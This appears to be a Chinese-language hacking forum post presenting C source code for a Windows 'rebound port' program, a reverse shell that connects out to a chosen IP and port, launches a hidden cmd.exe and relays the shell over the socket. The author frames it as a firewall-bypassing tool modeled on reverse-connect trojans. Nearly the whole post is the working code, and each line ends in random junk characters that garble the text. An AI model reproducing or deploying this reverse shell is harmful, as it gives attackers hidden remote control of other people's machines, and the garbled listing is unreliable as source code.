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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =>)4>WT8A  
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/* ============================== pQBhheiM  
Rebound port in Windows NT 53?B.\  
By wind,2006/7 OjY#xO+'  
===============================*/ /y5a~3  
#include /m*+N9)  
#include Z E},x U%  
_n3"  
#pragma comment(lib,"wsock32.lib") E&2mFg  
FZJ sZeO  
void OutputShell(); sfEy  
SOCKET sClient; rp,PhS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :=,lG ou  
7@9R^,M4:  
void main(int argc,char **argv) gn4 Sz")  
{ N51RBA  
WSADATA stWsaData; VaFv%%w  
int nRet; K<D=QweOon  
SOCKADDR_IN stSaiClient,stSaiServer; EN@Pr `R  
:|E-Dx4F6H  
if(argc != 3) P }$DCD<$U  
{ ZklZU,\!|v  
printf("Useage:\n\rRebound DestIP DestPort\n"); Qj/.x#T  
return; FTZaN1%`  
} ^CQVqa${]  
c *]6>50  
WSAStartup(MAKEWORD(2,2),&stWsaData); sT%^W  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^-pHhh|g  
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stSaiClient.sin_family = AF_INET; ojy[<  
stSaiClient.sin_port = htons(0); :k7h"w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *D$Hd">X  
*lws7R  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d^ YM@>%  
{ |a[Id  
printf("Bind Socket Failed!\n");  Cdbh7  
return; LuUfdzH  
} KZt4 dr  
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stSaiServer.sin_family = AF_INET; Oxhc!9F  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IAa}F!6Q1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !S}4b   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o+.LG($+U  
{ v6_fF5N/  
printf("Connect Error!"); 9)]asY  
return; xr'gi(.o  
} j5qrM_Chg  
OutputShell(); |dQ-l !  
} vB9v8@[I&  
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void OutputShell() zz~AoX7V6  
{ B&k"B?9mL  
char szBuff[1024]; /qX=rlQ/n  
SECURITY_ATTRIBUTES stSecurityAttributes; s.uV,E*wu  
OSVERSIONINFO stOsversionInfo; |oI]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C@Fk  
STARTUPINFO stStartupInfo; 0]^ke:(#  
char *szShell; &^!vi2$5}  
PROCESS_INFORMATION stProcessInformation; ;p4|M  
unsigned long lBytesRead; [qGj*`@C  
lZ` CFZR0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R#i{eE*WF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u!WjG@  
stSecurityAttributes.lpSecurityDescriptor = 0; Yr9!</;T  
stSecurityAttributes.bInheritHandle = TRUE; Y< drRK!  
!XJS"owr  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E[N3`"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y$ To)qo  
XrD@q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AUvUk<a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .gK>O2hI  
stStartupInfo.wShowWindow = SW_HIDE; S;]][h =  
stStartupInfo.hStdInput = hReadPipe; BVk&TGa;[$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yG<`7v  
/MUa b*h  
GetVersionEx(&stOsversionInfo); ?$&iVN^UA  
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switch(stOsversionInfo.dwPlatformId) %Vp'^,&S  
{ pN ^^U[  
case 1: pAd 8-a  
szShell = "command.com"; Xitsb f=Gg  
break; )$_b?  
default: gnPu{-Ec*  
szShell = "cmd.exe"; ^dF?MQA<@  
break; eURj'8o),  
} :_y}8am;H~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vw/L|b7G  
[Q5>4WY  
send(sClient,szMsg,77,0); tEXY>=  
while(1) 3Bk_4n  
{ FV->226o%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4)XZ'~|  
if(lBytesRead) SZ[ ,(h  
{ sF`ELrR \  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &n)=OConge  
send(sClient,szBuff,lBytesRead,0); +7]]=e<[E  
} g~i%*u,Y<  
else +jPs0?}s  
{ Z*Fxr;)d  
lBytesRead=recv(sClient,szBuff,1024,0); o2C{V1nB  
if(lBytesRead<=0) break; sAG#M\A6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9nrH 6]  
} LyB &u( )  
} AQH\ ;L  
.0b$mSV[  
return; dq&N;kk |  
}
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